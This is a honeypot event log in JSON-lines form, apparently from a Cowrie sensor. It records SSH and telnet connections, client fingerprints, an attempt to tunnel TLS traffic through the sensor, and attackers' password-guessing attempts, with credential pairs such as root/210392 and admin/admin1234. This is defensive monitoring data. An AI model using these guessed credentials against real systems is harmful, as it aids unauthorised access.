{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:40.086748Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xbb\\x8d\\xe5}7zT\\xc6&c\\\\\\x0b\\x9f\\xe0\\xfbhG%\\x00\\xa4en;\\xcd1eQ\\xc8\\xeb\\xae\\xaa \\x05#Ll\\x01\\xf1\\xd1\\xd5>\\xee\\xda\\xad\\x05\\xd4\\x95C\\xb0_\\xd8\\xd3\\xf5l\\x95\\x9f\\xd3\\xb9\\xaa1\\xa8\\xddh\\x0e\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf0\\xefu\\x19\\x88\\xca\\xce\\x0b\\x94\\x89\\xe8e\\xcd\\xc0\\xd6\\x0c\\x88\\x9d#\\x0fc\\xd9}\\xd1\\x16\\xd867s\\x98bu\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xbb\\x8d\\xe5}7zT\\xc6&c\\\\\\x0b\\x9f\\xe0\\xfbhG%\\x00\\xa4en;\\xcd1eQ\\xc8\\xeb\\xae\\xaa \\x05#Ll\\x01\\xf1\\xd1\\xd5>\\xee\\xda\\xad\\x05\\xd4\\x95C\\xb0_\\xd8\\xd3\\xf5l\\x95\\x9f\\xd3\\xb9\\xaa1\\xa8\\xddh\\x0e\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf0\\xefu\\x19\\x88\\xca\\xce\\x0b\\x94\\x89\\xe8e\\xcd\\xc0\\xd6\\x0c\\x88\\x9d#\\x0fc\\xd9}\\xd1\\x16\\xd867s\\x98bu\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:40.090544Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:40.482174Z","src_ip":"123.27.168.40","session":"9b992eeccd07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56592,"dst_ip":"159.203.135.109","dst_port":22,"session":"d734d28ed6b7","protocol":"ssh","message":"New connection: 87.251.79.125:56592 (159.203.135.109:22) [session: d734d28ed6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:40.775514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:40.780412Z","src_ip":"87.251.79.125","session":"d734d28ed6b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:40.851214Z","src_ip":"87.251.79.125","session":"d734d28ed6b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210392","message":"login attempt [root/210392] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:41.065728Z","src_ip":"87.251.79.125","session":"d734d28ed6b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:42.138530Z","src_ip":"87.251.79.125","session":"d734d28ed6b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.19928336143494,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:46.921941Z","src_ip":"172.81.62.90","session":"8a1084719853","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce1648668ec0","protocol":"telnet","message":"New connection: 172.81.62.90:60762 (159.203.135.109:23) [session: ce1648668ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:54.175452Z"}
{"eventid":"cowrie.session.closed","duration":58.039544343948364,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:58.241592Z","src_ip":"128.199.8.54","session":"6ad0ea8394d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60752,"dst_ip":"159.203.135.109","dst_port":23,"session":"56bc24029fe3","protocol":"telnet","message":"New connection: 172.81.62.90:60752 (159.203.135.109:23) [session: 56bc24029fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:59.430232Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36318,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb9a58857045","protocol":"telnet","message":"New connection: 172.81.62.90:36318 (159.203.135.109:23) [session: bb9a58857045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:06.625920Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57994,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae5b68e08ac4","protocol":"ssh","message":"New connection: 194.59.206.2:57994 (10.17.0.5:22) [session: ae5b68e08ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:19.368028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:19.371938Z","src_ip":"194.59.206.2","session":"ae5b68e08ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:19.457704Z","src_ip":"194.59.206.2","session":"ae5b68e08ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:19.546651Z","src_ip":"194.59.206.2","session":"ae5b68e08ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44572,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab6268b6cc7","protocol":"telnet","message":"New connection: 128.199.8.54:44572 (159.203.135.109:23) [session: 0ab6268b6cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:30.945220Z"}
{"eventid":"cowrie.session.closed","duration":0.0046176910400390625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:30.949485Z","src_ip":"128.199.8.54","session":"0ab6268b6cc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.69068670272827,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:32.120794Z","src_ip":"172.81.62.90","session":"56bc24029fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.173161029815674,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:32.348519Z","src_ip":"172.81.62.90","session":"ce1648668ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54402,"dst_ip":"159.203.135.109","dst_port":23,"session":"cabdbe6c40c2","protocol":"telnet","message":"New connection: 128.199.8.54:54402 (159.203.135.109:23) [session: cabdbe6c40c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:36.859513Z"}
{"eventid":"cowrie.session.closed","duration":71.64945101737976,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:38.829311Z","src_ip":"107.6.151.170","session":"58d415048a5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.22579646110535,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:45.851589Z","src_ip":"172.81.62.90","session":"bb9a58857045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":51868,"dst_ip":"10.17.0.5","dst_port":22,"session":"2caf5960a9d9","protocol":"ssh","message":"New connection: 27.71.230.31:51868 (10.17.0.5:22) [session: 2caf5960a9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:48.401968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:48.426479Z","src_ip":"27.71.230.31","session":"2caf5960a9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:48.638284Z","src_ip":"27.71.230.31","session":"2caf5960a9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":60980,"dst_ip":"10.17.0.5","dst_port":22,"session":"32eeab04350a","protocol":"ssh","message":"New connection: 63.141.242.2:60980 (10.17.0.5:22) [session: 32eeab04350a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:48.755806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:48.758721Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:48.833390Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:50.734208Z","src_ip":"63.141.242.2","session":"32eeab04350a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator@2016","message":"login attempt [root/administrator@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:52.214170Z","src_ip":"27.71.230.31","session":"2caf5960a9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:53.458823Z","src_ip":"27.71.230.31","session":"2caf5960a9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":60628,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3a9ab4cce68","protocol":"ssh","message":"New connection: 23.148.145.132:60628 (10.17.0.5:22) [session: d3a9ab4cce68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:55.961930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:55.966593Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:13:56.086797Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
